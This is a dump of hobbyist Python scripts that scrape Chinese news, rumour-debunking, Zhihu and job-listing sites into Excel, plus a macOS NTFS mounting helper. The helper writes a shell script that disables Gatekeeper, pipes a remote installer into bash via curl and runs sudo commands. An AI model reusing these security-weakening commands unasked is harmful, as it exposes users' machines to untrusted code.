    def write_category_to_sheet(sheet_name: str, wb: Workbook):
        """
        将新闻事件的关键词分类信息写入到 Excel 工作表中的第五列中
        :param sheet_name: 工作表名称
        :param wb: Excel 工作簿对象
        :jieba分词:https://github.com/fxsjy/jieba
        """
    
        # 调用在线分类字典 json
        # 从URL获取JSON数据
        response = urllib.request.urlopen('https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/AQUICK/category_news.json')
        json_data = response.read().decode('utf-8')
    
        # 解析JSON数据
        category_keywords = json.loads(json_data)
    
        # 从当前sheet开始
        ws = wb[sheet_name]
        for row in ws.iter_rows(min_row=2, min_col=1, max_col=4):
            title_str = ''
            for cell in row:
                if cell.value is not None:
                    title_str += str(cell.value)
    
            # 将标题字符串分词并转换为列表数组
            words = pseg.cut(title_str)
            category = ''
            for word, flag in words:
                # 内置的字符串方法,用于检查前缀指定开头
                # if flag.startswith('n'):
                # key keywords 关键字,.items() 检索键值对
                    for key, keywords in category_keywords.items():
                        if word in keywords:
                            category = key
                            break
                    if category:
                        break
            if not category:
                # category = '其他'
                category = '综合'
            ws.cell(row=row[0].row, column=5, value=category)
    
    
    # 将已解析网页排版的数据,按规则写入到xlsx,行列对称,条理分明。
    def write_news_to_sheet(news_list: list, sheet_name: str, wb: Workbook):
        """
        将新闻列表写入到 Excel 工作表中
        :param news_list: 新闻列表
        :param sheet_name: 工作表名称
        :param wb: Excel 工作簿对象
        :cell.value.isnumeric() 表示当前字符串是否能表示为一个数字
        :isinstance(cell.value, str) 表示当前值是否字符串
        """
        ws = wb.create_sheet(title=sheet_name)
    
        row = []
        for i, item in enumerate(news_list, start=1):
            if i >= 156: # 抽取50组数据(如果索引大于 156 是关于微博的其他介绍文章)
                continue  
            if i % 3 == 1: #  # 索引从0开始,即2%3,往后是新组数据。
                item = item.replace("、", "")
            row.append(item)
            if i % 3 == 0: # 取模被整除,3列一组,被整除说明已到3列,换行。
                ws.append(row)
                row = []
        
        # 从第二行开始迭代每一行数据
        for row in ws.iter_rows(min_row=2, min_col=1):
            for cell in row:
                if cell.column == 1 or cell.column == 3:
                    # 实例判断,如果是返回 True,否则返回 False。
                    if isinstance(cell.value, str) and not cell.value.isnumeric():
                        # 去除字符串中的 '[置顶]' 字符,185为2、3、4排名的平均值(实时)
                        cell.value = cell.value.replace('[置顶]', '185w') 
                    if isinstance(cell.value, str) and cell.value.isnumeric():
                        cell.value = int(cell.value)
                    elif isinstance(cell.value, str):
                        cell.value = float(cell.value.replace('w', ''))
    
        ws.cell(row=1, column=3, value='指数(万)')
        ws.cell(row=1, column=4, value='情感得分')
        ws.cell(row=1, column=5, value='分类')
    
    # 处理整合,爬取各50条热搜,并计算文本情感值、自动化分类、词频统计
    def fenmenbielei():
    
        result_list = []  # 定义一个空列表,用于存储每个表格的平均指数和情感得分
    
        urls = ['http://resou.today/art/11.html', 'http://resou.today/art/22.html','http://resou.today/art/6.html']
        sheet_names = ['今日头条热榜', '抖音时事热榜', '微博热搜']
    
        wb = Workbook()
    
        # wb.remove(wb['Sheet'])
        for url, sheet_name in zip(urls, sheet_names):
            news_list = get_news_from_url(url)
            # 写入网页解析的数据到xlsx
            write_news_to_sheet(news_list, sheet_name, wb)
            # 删除操作留下的空行
            delete_empty_rows(sheet_name, wb)
            # 分类
            write_category_to_sheet(sheet_name, wb)
    
            # 统计平均指数、各表平均情感值
            average_index, sentiment_score = calculate_average_index_and_sentiment_score(sheet_name, wb)
            # print(f'{sheet_name} 平均指数:{average_index:.2f} 情感得分: {sentiment_score:.2f}')
            result_list.append((average_index, sentiment_score))  # 将平均指数和情感得分以元组的形式添加到 result_list 中
        
        # 词频统计
        calculate_word_count(sheet_names, wb)
    
        # 删除空表,并保存为指定文件
        wb.remove(wb['Sheet']);wb.save(get_save_path_xlsx_file())
    
        return result_list
    
    # 5.13新增:xlsx新闻热搜词性分析
    def add_special_pos_columns(sheet):
        
        '''
        赠加文本词性识别
        stanza : https://stanfordnlp.github.io/stanza/data_objects.html
        '''
    
        # 初始化中文管道
        nlp = stanza.Pipeline('zh') 
    
        # 在表格中添加“是否存在特定词性”和“特定词性”两列
        sheet.cell(row=1, column=6, value="是否存在特定词性")
        sheet.cell(row=1, column=7, value="特定词性")
    
        #读取表格中的B列数据,并在第6列标记每个单元格中是否存在特定词性,在第7列输出特定词性
        for i, cell in enumerate(sheet['B'], start=1):
            if i == 1: continue # 跳过标题行
            doc = nlp(cell.value)
            flag = False
            special_pos_list = []
            for word in doc.sentences[0].words:
                if word.upos in ['ADV', 'DET', 'ADJ', 'NUM']:
                    flag = True
                    special_pos_list.append(f"【{word.upos}】{word.text}")        
            sheet.cell(row=i, column=6, value="是" if flag else "否")
            sheet.cell(row=i, column=7, value=", ".join(special_pos_list))
    
    # 加载Stanza语言模型,进行中文数词、副词、形容词分析"
    def load_stanza_to_sheet():
    
        wb = openpyxl.load_workbook(get_save_path_xlsx_file())
    
        # 获取Sheet1、Sheet2和Sheet3表格对象
        # sheet1 = wb['今日头条热榜']
    
        # 在Sheet1中添加特定词性列
        # add_special_pos_columns(sheet1)
    
        # 遍历工作表名称并添加特殊词性列
        for sheet_name in ['今日头条热榜', '抖音时事热榜', '微博热搜']:
            sheet = wb[sheet_name]
            add_special_pos_columns(sheet)
    
        #保存Excel工作簿
        wb.save(get_save_path_xlsx_file())
    
    
    def main(): 
        
        result_list =  fenmenbielei()
        load_stanza_to_sheet()
       
        print("\n热搜词性分析已加载完成,现开始计算各表热搜的指数、文本情感的平均值 \n")
        # 使用 zip 函数可以将数组打包为一个迭代器
        for sheet_name, result in zip(['今日头条热榜', '抖音时事热榜', '微博热搜'], result_list):
            average_index, sentiment_score = result
            print(f'{sheet_name} 平均指数:{average_index:.2f} 情感得分: {sentiment_score:.2f}')
        
        print("\n")
    
    # 如果当前模块是被其他模块导入的,则该条件语句下面的代码将不会被执行。
    if __name__ == '__main__':
        main()
    
    
    ================================================
    FILE: d-python/get_rumor_analysis.py
    ================================================
    import os
    import time
    import json
    import jieba
    import jieba.analyse
    import thulac
    import base64
    import requests
    from datetime import datetime
    import urllib.request
    from snownlp import SnowNLP
    from collections import Counter
    from openpyxl import Workbook
    from selenium import webdriver
    from selenium.webdriver.common.by import By
    from selenium.webdriver.support.ui import WebDriverWait
    from selenium.webdriver.support import expected_conditions as EC
    from webdriver_manager.chrome import ChromeDriverManager
     
    
    # 分类
    def category_of_title(title, category_keywords):
        """
        对标题进行分类
        :param title: str 标题文本
        :param category_keywords: dict 分类关键词字典
        :return: str 分类名称
        """
        words = set(jieba.cut(title))
        for category, keywords in category_keywords.items():
            if words & set(keywords):   # 将列表转换成集合类型
                return category
        return '其他'
    
    # 解析每个元素,并提取出标题、链接、来源,遍历用的。
    def get_element_data(element) -> dict:
        # 获取标题和链接(经测试发现只能取到链接)
        href_element = WebDriverWait(element, 10).until(
            EC.visibility_of_element_located((By.CSS_SELECTOR, 'a'))
        )
        # 通过a元素的上级元素h2,直接取到了文本
        h2_element = WebDriverWait(element, 10).until(
            EC.visibility_of_element_located((By.CSS_SELECTOR, 'h2'))
        )
        # 通过a元素的上级元素h2,直接取到了文本
        h3_element = WebDriverWait(element, 10).until(
            EC.visibility_of_element_located((By.CSS_SELECTOR, 'h3'))
        )
    
        href = href_element.get_attribute('href')
        title = h2_element.text
        # 获取源网站名称,仅保留冒号后面的内容
        source = h3_element.text.split(':', 1)[-1].strip()
    
        # # 获取时间标识([:6]截取前六位)
        # time_str = href.split('/')[-3]
        # datetime_obj = datetime.strptime(time_str, '%Y%m%d')
    
        # # 将 datetime 对象格式化为指定字符串
        # time_formatted = datetime_obj.strftime('%Y/%m/%d')
    
        # 获取时间标识
        time_str = href.split('/')[-3]
        if '-' in time_str:  # 如果日期符号为 '-',则按照 '%Y-%m-%d' 的日期格式进行转换
            datetime_obj = datetime.strptime(time_str, '%Y-%m')
            time_formatted = datetime_obj.strftime('%Y/%m')
        elif '/' in time_str:  # 如果日期符号为 '/',则按照 '%Y/%m/%d' 的日期格式进行转换
            datetime_obj = datetime.strptime(time_str, '%Y/%m/%d')
            time_formatted = datetime_obj.strftime('%Y/%m/%d')
        else:
            time_str = time_str[:6]
            # 将时间标识转换为 datetime 对象
            datetime_obj = datetime.strptime(time_str, '%Y%m')
            # 将 datetime 对象格式化为指定字符串
            time_formatted = datetime_obj.strftime('%Y/%m')
    
    
        return {'title': title, 'source': source,'time': time_formatted, 'href': href}
    
    
    def selenium_url_parse(url):
        # 创建 WebDriver 对象,这里使用 Chrome 浏览器
        # driver = webdriver.Chrome(ChromeDriverManager().install())
    
        # 获取当前操作系统类型
        if platform.system() == "Windows":
            # Windows 平台
            driver = webdriver.Chrome()
        else:
            # 其他平台
            driver = webdriver.Chrome(ChromeDriverManager().install())
    
        # 访问网页
        driver.get(url)
    
        # 在等待 "more" 元素出现之前,先将页面滚动到底部,以确保 "more" 元素已经加载
        driver.execute_script("window.scrollTo(0, document.body.scrollHeight);")
    
        # 等待 "more" 元素出现,并进行点击
        more = WebDriverWait(driver, 10).until(
            # 个预期条件对象,用于检查页面是否出现了一个可见的元素。
            EC.visibility_of_element_located((By.CSS_SELECTOR, 'div.more')))
    
        # 每次加载数据为20个,拿x次加载的数据内容,不过i其实是从0算起。
        x = 9
        for i in range(x):
            time.sleep(3);more.click()
    
        # 获取 ul中的li 元素列表
        elements = driver.find_elements(By.CSS_SELECTOR, 'ul.list>li')
    
        # 遍历每个元素,提取所需数据,并存储到一个列表中
        data_list = []
        for e in elements:
            data = get_element_data(e)
            data_list.append(data)
    
        # 关闭浏览器
        driver.quit()
    
        return data_list
    
    # 确定保存文本格式用的。
    def get_save_path_xlsx_file():
        """
        获取格式化后的当前时间
        :return: 格式化后的当前时间字符串
        """
        # 进行跨平台处理保存路径
        return os.path.join(os.path.join(os.path.expanduser("~"), "Desktop"), 
                                           "piyao_{}.xlsx".format(datetime.now().strftime('%Y-%m-%d')))
    
    # 确定字符串边界
    def aphla()->str:
        return base64.b64decode("aHR0cHM6Ly93d3cucGl5YW8ub3JnLmNuL2JxL2luZGV4Lmh0bQ==").decode('utf-8')
       
    
    def baseinfo_write_to_excel(rumor_contents) -> list:
    
        # 获取默认sheet
        sheet = workbook.active
        # 将默认sheet的名称更改为"谣言分析"
        sheet.title = "谣言分析"
    
        # 写入表头
        sheet['A1'] = '谣言标题'
        sheet['B1'] = '发布来源'
        sheet['C1'] = '辟谣时间'
        sheet['D1'] = '分类' 
        sheet['E1'] = '情感值' 
        sheet['F1'] = '链接'
    
        # 21:58 新增自动化分类
        # 从URL获取JSON数据,调用在线分类字典 json
        response = urllib.request.urlopen('https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-json/fenlei_pypt.json')
        json_data = response.read().decode('utf-8')
        # 解析JSON数据
        category_keywords = json.loads(json_data)
    
        # 写入数据
        for i, data in enumerate(data_list):
            sentiment = SnowNLP(data['title']).sentiments
            category = category_of_title(data['title'], category_keywords)
            sheet.cell(row=i+2, column=1, value=data['title'])
            sheet.cell(row=i+2, column=2, value=data['source'])
            sheet.cell(row=i+2, column=3, value=data['time'])
            sheet.cell(row=i+2, column=6, value=data['href'])
            sheet.cell(row=i+2, column=4, value=category)
            sheet.cell(row=i+2, column=5, value=sentiment)
    
        ciyu_tongji_fenxi()
    
        # 保存Excel文件
        workbook.save(get_save_path_xlsx_file())
    
    # 词频统计与语法分析
    def ciyu_tongji_fenxi(): 
        '''
        该部分隶属于 baseinfo_write_to_excel(rumor_contents)管理
        '''
        # 创建新的sheet
        sheet_freq = workbook.create_sheet(title='词频统计')
        # 写入表头
        sheet_freq['A1'] = '词语'
        sheet_freq['B1'] = '出现次数'
        sheet_freq['C1'] = '词性'
    
        # 要去掉的字词和符号
        # stop_words = ['是', '的', '了', ',', '。', '?']
        
        # 停用词文件
        stopwords_file = 'https://ghproxy.com/https://raw.githubusercontent.com/goto456/stopwords/master/cn_stopwords.txt'
        # 请求停用词库
        stopwords = requests.get(stopwords_file).content.decode('utf-8').split('\n')
    
        # 分词并统计词频
        word_count = Counter()
        for data in data_list:
            words = jieba.cut(data['title'])
            for word in words:
                if word not in stopwords:
                    word_count[word] += 1
    
        # 取前 y 个词语
        y = 20
        top = word_count.most_common(y)
    
    # 使用THULAC进行词性标注
        word_pos = []
        for word, count in top:
            tup = thu.cut(word)
            if tup:
                word_pos.append((word, tup[0][1]))
    
        # 写入词频统计结果
        row = 2  # 从第二行开始写入
        for i, (word, count) in enumerate(top):
            sheet_freq.cell(row=row+i, column=1, value=word)
            sheet_freq.cell(row=row+i, column=2, value=count)
            
            pos_str = ''
            for w, pos in word_pos:
                if w == word:
                    # pos_str += pos + ' '
                    pos_str += pos_dict.get(pos, pos) + ' '
            sheet_freq.cell(row=row+i, column=3, value=pos_str)
    
    def main():
        global thu
        global data_list  
        global workbook
        global pos_dict 
        
        # 全局加载中文模型
        thu = thulac.thulac()
        # 全局创建一个Workbook对象
        workbook = Workbook()
        # 参考链接:https://github.com/thunlp/THULAC#词性解释
        pos_dict = {
                    "n": "名词","np": "人名","ns": "地名","ni": "机构名","nz": "其他专名",
                    "m": "数词","q": "量词","mq": "数量词","t": "时间词","f": "方位词","s": "处所词",
                    "v": "动词","vm": "能愿动词","vd": "趋向动词","a": "形容词","d": "副词",
                    "h": "前接成分", "k": "后接成分", "i": "习语", "j": "简称",
                    "r": "代词","c": "连词","p": "介词","u": "助词","y": "语气助词",
                    "e": "叹词","o": "拟声词","g": "语素","w": "标点","x": "其他"
        }
    
    
    # 如果当前模块是被其他模块导入的,则该条件语句下面的代码将不会被执行。
    if __name__ == '__main__':
        main()
        data_list = selenium_url_parse(aphla())
        baseinfo_write_to_excel(data_list)
    
    
    ================================================
    FILE: d-python/get_worldometers.py
    ================================================
    from selenium import webdriver
    from bs4 import BeautifulSoup
    import csv
    from datetime import datetime
    import pandas as pd
    import os
    
    
    # 参考
    # BS文档:https://beautifulsoup.cn
    # selenium:https://selenium-python-zh.readthedocs.io/en/latest/index.html
    
    # ------------- webUI初始化配置 ----------------------------
    
    driver = webdriver.Chrome()  
    driver.get("https://www.worldometers.info/cn/")  
    
    # 获取网页源码并传给 BeautifulSoup 解析
    soup = BeautifulSoup(driver.page_source, 'html.parser')
    
    
    # ------------将获取的数据提取出特定列,并写入到创建的csv------------- #
    
    # 查找所有 
    current_population_words = soup.find_all('span',class_='item')
    current_population_num = soup.find_all('span',class_='rts-counter')
    
    
    # ---------- 新增:以时间作为文件名后缀(2023-04-26) ---------------
    
    # 获取当前时间
    now = datetime.now()
    
    # 将时间格式化为指定的字符串格式
    formatted_time = now.strftime('%Y-%m-%d')
    
    
    # ------------ 将获取的数据提取出特定列 ---------------------------
    
    # 重复值标记
    duplicate_value = 1
    # 下标数以current_population_num为准
    num_elements = len(current_population_num)
    
    # 创建一个名为 "output.csv" 的 CSV 文件(旧)
    # {} 占位符,在字符串中使用 {},在 .format() 中传入相应的变量或者值来替换它
    with open("worldometers_{}.csv".format(formatted_time), "w", newline='', encoding='utf-8-sig') as csvfile:
        # 指定列名
        fieldnames = ['Column A','Column B']
        writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
    
        # 写入表头
        writer.writeheader()
    
        for i in range(num_elements):
            duplicate_value = duplicate_value+1
            if duplicate_value == 52:
                continue
            row_data = {'Column A': current_population_words[i].text, 'Column B': current_population_num[i].text}
            writer.writerow(row_data)
    
    # ------------新增:删除多余字符,并另存为xlsx (2023-4-29)--------------
    # 1. csv可操作性不如Excel,故另存为xlsx。
    # 2. 将文本数值转换为数值反倒远不如Excel方便,PASS。
    
    
    # 读取CSV文件
    df = pd.read_csv("worldometers_{}.csv".format(formatted_time))
    
    # 定位到39、40行A列并删除-=符号
    df.loc[38:39, 'Column A'] = df.loc[38:39, 'Column A'].apply(lambda x: x.replace('-=', ''))
    
    # 将修改后的数据保存为xlsx文件,将B列转为正常的数值类型
    df.to_excel("worldometers_{}.xlsx".format(formatted_time), index=False)
    
    # 删除原始CSV文件
    os.remove("worldometers_{}.csv".format(formatted_time))
    
    
    ================================================
    FILE: d-python/mac_ntfs_ninja.py
    ================================================
    # 引入模块
    import os
    from time import sleep
    import getpass
    # 双引号转义:https://blog.csdn.net/try_and_do/article/details/80649663
    # 强制字符串不转义:https://zhidao.baidu.com/question/2057931750861815427.html
    
    # 要运行的命令序列
    ntfs_yes = [
        "#/bin/bash\n", "\n", "close_boring(){\n", "sudo spctl --master-disable\n", 
        "}\n",
        "check_install() {\n","if [ ! -x $(command -v swift) ]; then\n",
        "xcode-select --install\n",
        "fi\n",
        "\n","\n",
        "if [ ! -x $(command -v brew) ]; then\n",
        "/bin/bash -c ", "\"$(curl -fsSL https://gitee.com/ineo6/homebrew-install/raw/master/install.sh)\"",
        "\nfi\n",
        "\n","\n",
        "if [ ! -e \"/System/Volumes/Data/$(which ntfs-3g)\" ]; then"
        "\n",
        "brew tap gromgit/homebrew-fuse && brew install --cask macfuse && brew install ntfs-3g-mac\n",
        "fi\n",
        "}\n",
        "mount_nfs() {\n",
        # 将所有挂载为 NTFS 格式的设备读取出来进行处理
        "newDev=$(mount | grep ntfs | awk -F ' ' '{print $1}')\n",
        # 对于每个设备进行操作
        "for i in $newDev; do\n",
        # 对设备路径字符串进行处理,获取设备名字和挂载路径
        "onceCutVal=","${i%/*}","\n",
        "twiceCutVal=","${onceCutVal#*//}","\n",
        "thriceCutVal=","${i##*/}","\n",
        # 输出设备名字
        "echo \"新设备: \"${thriceCutVal}\n",
        # 输出分割线
        "echo '---------\\n'","\n",
        # 将设备卸载
        "sudo umount $i","\n",
        # 重新挂载为可读写的 NTFS 格式
        'sudo -S /System/Volumes/Data/$(which ntfs-3g) /dev/${twiceCutVal} "/Volumes/${thriceCutVal}" -olocal -oallow_other -oauto_xattr -ovolname="${thriceCutVal}"',
        # 输出挂载完成信息
        "\n","echo " "\"新设备: ${thriceCutVal},已可读写!\"",
        "\ndone\n","}\n",
        # 禁用 macOS 的 Gatekeeper
        "close_boring\n",
        # 检查是否已安装必要软件
        "check_install\n",
        # 挂载 NTFS 格式的设备
        "mount_nfs\n"
    ]
    
    # 获取当前用户名
    username = getpass.getuser()
    
    def File_plus():
        # 定义 shell 文件存放路径
        folder_path = "/Users/" + username + "/Public/shell-ntfs.sh"
    
        # 如果文件不存在则创建
        if not os.path.exists(folder_path):
            file = open(folder_path, mode='w')
            file.writelines(ntfs_yes)
            print('\n等待NTFS格式优盘接入')
        else:
            print('\nshell-ntfs.sh 文件已检测\n')
            print('开启程序第一次启动,接入优盘时,需要输入电脑开机密码,方可正常使用\n')
            print('等待NTFS格式优盘接入')
    
    # 创建 shell 文件
    File_plus()
    
    # 第一个 U 盘完全挂载,再插入第二个 U 盘
    while True:
        sleep(5)
        udev = os.popen("mount | grep ntfs | awk -F ' ' '{print $1}'")
        udev_result = udev.read()
        udev.close()
    
        # 如果已接入 NTFS 格式的优盘,则执行进行挂载的脚本 shell-ntfs.sh
        if udev_result:
            print("\n已接入优盘")
            os.system("chmod 777 /Users/"+username+"/Public/shell-ntfs.sh")
            os.system("/Users/"+username+"/Public/shell-ntfs.sh")
    
            # 挂载完成后等待下一个 U 盘插入
            while True:
                sleep(5)
                udev = os.popen("mount | grep ntfs | awk -F ' ' '{print $1}'")
                udev_result = udev.read()
                udev.close()
                if not udev_result:
                    print("------------")
                    break
    
        else:
            # 没有 NTFS 格式的优盘插入则继续等待
            continue
    
    
    ================================================
    FILE: d-python/output_json_for_regex.py
    ================================================
    import re
    import json
    
    pattern = re.compile(r'\d+')
    regex_str = pattern.pattern  # 将正则表达式编译为字符串
    
    data = {'regex': regex_str}
    json_str = json.dumps(data)
    
    with open('output.json', 'w') as f:
        f.write(json_str)
    
    
    ================================================
    FILE: d-python/zhihu_answers_demo.py
    ================================================
    import requests
    from openpyxl import Workbook
    import os
    import re
    from datetime import datetime
    
    class Tools:
        # 初始化解析
        @staticmethod
        def init_res(zhihu_url):
    
            question_id_match = re.findall(r'question/(\d+)', zhihu_url)
            question_id = question_id_match[0]
            url = f'https://www.zhihu.com/api/v4/questions/{question_id}/feeds'
    
            headers = {
                'Host': 'www.zhihu.com',
                'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36',
                'Referer': zhihu_url
            }
            res = requests.get(url, headers=headers).json()
            print(res)
            return res, question_id
    
        @staticmethod
        def answer_url(url, question_id):
           answers_id = re.findall(r'answers/(\d+)', url)[0]
    
            # https://www.zhihu.com/question/562083816/answer/3054738773
           return 'https://www.zhihu.com/question/{}/answer/{}'.format(question_id, answers_id)
    
    
        # 格式化时间戳
        @staticmethod
        def format_timestamp(timestamp):
            dt_object = datetime.fromtimestamp(int(timestamp))
            formatted_time = dt_object.strftime("%Y-%m-%d %H:%M:%S")
            return formatted_time
    
        # 获取保存路径及格式
        @staticmethod
        def get_save():
            return os.path.join(os.path.join(os.path.expanduser("~"), "Desktop"),
                                "知乎问答_{}.xlsx".format(datetime.now().strftime('%Y-%m-%d')))
    
    
    class ZhihuExcel:
    
        # 构建初始问答信息表
        @staticmethod
        def init_info(workbook, res, question_id):
            # 创建新的工作表
            worksheet = workbook.create_sheet(title='问题回答概况')
    
            # 写入表头
            # 标题列表
            titles = [
                '回答摘要', '点赞数', '感谢数', '评论数', '发布时间',
                '修改时间', '链接', '用户名', '用户标识'
                ]
            # 写入标题
            for col, title in enumerate(titles, start=1):
                worksheet.cell(row=1, column=col, value=title)
    
            data = res['data']
            row = 2  # 数据从第二行开始,因为第一行是表头
            column = 1  # 初始列数为1
    
            for result in data:
                worksheet.cell(row=row, column=column, value=result['target']['excerpt']);column += 1  # 回答摘要
                worksheet.cell(row=row, column=column, value=result['target']['voteup_count']);column += 1  # 点赞数
                worksheet.cell(row=row, column=column, value=result['target']['thanks_count']);column += 1  # 感谢数
                worksheet.cell(row=row, column=column, value=result['target']['comment_count']);column += 1  # 评论数
                worksheet.cell(row=row, column=column, value=Tools.format_timestamp(result['target']['created_time']));column += 1  # 发布时间
                worksheet.cell(row=row, column=column, value=Tools.format_timestamp(result['target']['updated_time']));column += 1  # 修改时间
                worksheet.cell(row=row, column=column, value=Tools.answer_url(result['target']['url'], question_id));column += 1  # 链接
                worksheet.cell(row=row, column=column, value=result['target']['author']['name']);column += 1  # 用户名
                author_token = result['target']['author']['url_token']
                if author_token:
                    worksheet.cell(row=row, column=column, value=author_token);column += 1
                else:
                    worksheet.cell(row=row, column=column, value='N/A');column += 1 # 用户标识,如果不存在则使用 "N/A"
                row += 1  # 每次循环结束后递增行数,写入下一行数据
                column = 1  # 每次循环结束后重置列数,从第一列开始写入数据
    
    if __name__ == '__main__':
    
        # 获取知乎问题链接
        while True:
            zhihu_url = input("请粘贴知乎问题链接:")
            if re.search(r'^https://www.zhihu.com/question/\d+$', zhihu_url):
                break
            else:
                print("链接格式不正确,请重新输入。")
    
    
        # 创建工作簿和工作表
        workbook = Workbook()
        # 删除默认创建的空白Sheet
        workbook.remove(workbook.active)
    
        # 初始化解析
        res, question_id = Tools.init_res(zhihu_url)
    
        # 初始化写入
        ZhihuExcel.init_info(workbook,res, question_id)
    
        # 保存工作簿
        workbook.save(Tools.get_save())
    
    
    ================================================
    FILE: d-python/zhipin_demo.py
    ================================================
    import os
    import re
    import platform
    import requests
    import json
    import urllib.request
    from openpyxl import Workbook
    from datetime import datetime
    
    
    class GetDataTools:
        @staticmethod
        def get_citycode(input_city):
            response = urllib.request.urlopen('https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-json/bosszhipin_citycode.json')
            city_json = json.loads(response.read().decode('utf-8'))
    
            city_code = None
            for group in city_json["zpData"]["cityGroup"]:
                for city in group["cityList"]:
                    if city["name"] == input_city:
                        city_code = city["code"]
                        return city_code
            return None
    
        @staticmethod
        def validate_cookie(input_cookie):
            cookie_list = input_cookie.split("; ")
            cookies_dict = {}
    
            try:
                for item in cookie_list:
                    key, value = item.strip().split("=", 1)
                    cookies_dict[key] = value
            except ValueError:
                return False
    
            return True
    
    
    class ZhiPin:
        @staticmethod
        def get_job_list():
            input_keywords = input("请输入查询职位:")
            input_city = input("请输入城市:")
            city_code = GetDataTools.get_citycode(input_city)
            while city_code is None:
                print("未找到匹配的城市编码,请重新输入城市名。")
                input_city = input("请输入城市:")
                city_code = GetDataTools.get_citycode(input_city)
    
            # input_num = input("请输入需要遍历的页码:")
            input_cookie = input("请复制Cookie:")
            # while not GetDataTools.validate_cookie(input_cookie):
            #     input_cookie = input("请重新复制Cookie:")
    
            job_data_list = []
    
            # boss直聘最多只能遍历前三页,不然会直接报错。
            for page in range(1,4):
                url = f'https://www.zhipin.com/wapi/zpgeek/search/joblist.json?query={input_keywords}&city={city_code}&experience=105&salary=405&page={page}&pageSize=30'
    
                headers = {
                    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
                    'Cookie': input_cookie,
                }
    
                data = requests.get(url, headers=headers).json()
                job_data_list.append(data)
    
            return job_data_list
    
        @staticmethod
        def save_to_json(job_data_list):
            save_json = os.path.join(
                os.path.join(os.path.expanduser("~"), "Desktop"),
                "boss_{}.json".format(datetime.now().strftime('%Y-%m-%d'))
            )
    
            with open(save_json, 'w', encoding='utf-8') as f:
                json.dump(job_data_list, f, ensure_ascii=False, indent=4)
    
            return save_json
    
    
    class DataToExcel:
        @staticmethod
        def save_to_excel(workbook, zhipin_json):
    
            with open(zhipin_json, 'r', encoding='utf-8') as f:
                zhipin_json = json.load(f)
    
            worksheet = workbook.create_sheet(title='招聘信息清单')
    
            titles = [
                '职位', '技能', '经验', '学历', '工资', '福利',
                '公司', '公司类型', '人数规模', '融资状态', '地址'
            ]
    
            for col, title in enumerate(titles, start=1):
                worksheet.cell(row=1, column=col, value=title)
    
            data_list = []
            for item in zhipin_json:
                if "zpData" in item and "jobList" in item["zpData"]:
                    data_list.extend(item["zpData"]["jobList"])
    
            row = 2
            column = 1
    
            for job in data_list:
                worksheet.cell(row=row, column=column, value=job['jobName'])
                column += 1
                worksheet.cell(row=row, column=column, value='; '.join(job['skills']))
                column += 1
                worksheet.cell(row=row, column=column, value=job['jobExperience'])
                column += 1
                worksheet.cell(row=row, column=column, value=job['jobDegree'])
                column += 1
                worksheet.cell(row=row, column=column, value=job['salaryDesc'])
                column += 1
                worksheet.cell(row=row, column=column, value='; '.join(job['welfareList']))
                column += 1
                worksheet.cell(row=row, column=column, value=job['brandName'])
                column += 1
                worksheet.cell(row=row, column=column, value=job['brandIndustry'])
                column += 1
                worksheet.cell(row=row, column=column, value=job['brandScaleName'])
                column += 1
                worksheet.cell(row=row, column=column, value=job['brandStageName'])
                column += 1
                worksheet.cell(row=row, column=column, value=f"{job['cityName']} {job['areaDistrict']} {job['businessDistrict']}")
                column += 1
    
                row += 1
                column = 1
    
            # 添加新的sheet并写入相关的行列数据
            extra_sheet = workbook.create_sheet(title='就业反欺诈')
            extra_data = [
                ['主题', '链接'],
                ['就业形势分析及预防欺诈对策', 'https://nbviewer.org/github/hoochanlon/scripts/blob/main/d-ipynb/就业形势分析及预防欺诈对策.ipynb'],
                ['同济大学王荣昌-给初涉社会年轻人的忠告', 'https://blog.sciencenet.cn/blog-348492-375365.html'],
                ['适合中文的简历模板收集', 'https://github.com/dyweb/awesome-resume-for-chinese'],
                ['长理工云就业平台 - 求职心经 | HR:10分钟让70%的简历变得更专业','https://csust.bysjy.com.cn/detail/news?id=159140'],
                ['公益-反诈骗宣传','https://github.com/paipai-Studio/Anti-Fraud/issues'],
                ['yahoo -【全文】赴泰旅遊被騙至緬甸參訪 情侶檔劫後餘生揭詐團黑幕','https://tw.news.yahoo.com/全文-赴泰旅遊被騙至緬甸參訪-情侶檔劫後餘生揭詐團黑幕-215855454.html'],
                ['sohu - 缅北工作真实经历;亲历者讲述:在缅北“高薪敲键盘”,我经历了什么? ','https://www.sohu.com/a/695118764_121648903'],
                ['163 - 网传某公司30名员工被以组织团建的手段卖到缅北,两女子已遇害!','https://m.163.com/dy/article_cambrian/IC9D07K805560HKQ.html'],
                ['BBC中文 - “杀猪盘”爱情陷阱揭秘:“我们如何诈骗数百万美金”','https://www.bbc.com/zhongwen/simp/chinese-news-64885188'],
                ['globalantiscam.org - 全球反诈组织','https://www.globalantiscam.org'],
                ['地理科学 - 县域尺度中国网络诈骗时空分布特征研究','http://geoscien.neigae.ac.cn/CN/10.13249/j.cnki.sgs.2021.06.017'],
                ['卫建林 - 全球化与第三世界','https://books.google.com.tw/books?id=dsXaDgAAQBAJ&pg=PA1042&lpg=PA1042&dq=全球诈骗'],
                ['世界经济论坛 - 各类报告','https://cn.weforum.org/reports'],
                ['激流网','https://jiliuwang.net'],
                ['爱思想','https://www.aisixiang.com'],
                ['心理测试','https://types.yuzeli.com/survey'],
                ['国际IQ测试','https://international-iq-test.com/zh-Hans/'],
                ['复旦大学博弈论','http://fdjpkc.fudan.edu.cn/201915/']
            ]
    
            for row, data_row in enumerate(extra_data, start=1):
                for col, value in enumerate(data_row, start=1):
                    extra_sheet.cell(row=row, column=col, value=value)
    
           # 添加新的sheet并写入相关的行列数据
            extra_sheet = workbook.create_sheet(title='就业与择业观')
            extra_data = [
                ['主题', '链接'],
                ['温铁军:天价彩礼、离婚率高企、生育率下降,问题到底出在哪?', 'https://www.bilibili.com/video/BV14o4y1B7wS'],
                ['温铁军:小镇做题家成也教育,困也教育【温铁军践闻录】','https://www.bilibili.com/video/BV1fg411U7qJ'],
